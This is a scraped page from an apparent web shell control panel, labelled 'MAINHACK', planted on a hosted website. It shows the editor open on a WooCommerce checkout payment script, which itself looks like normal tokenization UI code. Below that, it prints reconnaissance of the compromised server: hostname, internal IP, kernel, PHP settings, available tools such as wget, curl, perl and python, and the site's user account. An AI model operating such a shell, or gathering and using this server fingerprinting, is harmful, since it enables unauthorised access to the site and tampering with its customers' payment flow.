[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: tokenization-form.js
( function( $ ) { $( function() { var wcTokenizationForm = (function() { function wcTokenizationForm( target ) { var $target = $( target ), $formWrap = $target.closest( '.payment_box' ), $wcTokenizationForm = this; this.onTokenChange = function() { if ( 'new' === $( this ).val() ) { $wcTokenizationForm.showForm(); $wcTokenizationForm.showSaveNewCheckbox(); } else { $wcTokenizationForm.hideForm(); $wcTokenizationForm.hideSaveNewCheckbox(); } }; this.onCreateAccountChange = function() { if ( $( this ).is( ':checked' ) ) { $wcTokenizationForm.showSaveNewCheckbox(); } else { $wcTokenizationForm.hideSaveNewCheckbox(); } }; this.onDisplay = function() { // Make sure a radio button is selected if there is no is_default for this payment method.. if ( 0 === $( ':input.woocommerce-SavedPaymentMethods-tokenInput:checked', $target ).length ) { $( ':input.woocommerce-SavedPaymentMethods-tokenInput:last', $target ).prop( 'checked', true ); } // Don't show the "use new" radio button if we only have one method.. if ( 0 === $target.data( 'count' ) ) { $( '.woocommerce-SavedPaymentMethods-new', $target ).hide(); } // Trigger change event $( ':input.woocommerce-SavedPaymentMethods-tokenInput:checked', $target ).trigger( 'change' ); // Hide "save card" if "Create Account" is not checked. // Check that the field is shown in the form - some plugins and force create account remove it if ( $( 'input#createaccount' ).length && ! $('input#createaccount').is( ':checked' ) ) { $wcTokenizationForm.hideSaveNewCheckbox(); } }; this.hideForm = function() { $( '.wc-payment-form', $formWrap ).hide(); }; this.showForm = function() { $( '.wc-payment-form', $formWrap ).show(); }; this.showSaveNewCheckbox = function() { $( '.woocommerce-SavedPaymentMethods-saveNew', $formWrap ).show(); }; this.hideSaveNewCheckbox = function() { $( '.woocommerce-SavedPaymentMethods-saveNew', $formWrap ).hide(); }; // When a radio button is changed, make sure to show/hide our new CC info area $( ':input.woocommerce-SavedPaymentMethods-tokenInput', $target ).change( this.onTokenChange ); // OR if create account is checked $ ( 'input#createaccount' ).change( this.onCreateAccountChange ); this.onDisplay(); } return wcTokenizationForm; })(); $( document.body ).on( 'updated_checkout wc-credit-card-form-init', function() { // Loop over gateways with saved payment methods var $saved_payment_methods = $( 'ul.woocommerce-SavedPaymentMethods' ); $saved_payment_methods.each( function() { new wcTokenizationForm( this ); } ); } ); }); })( jQuery );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129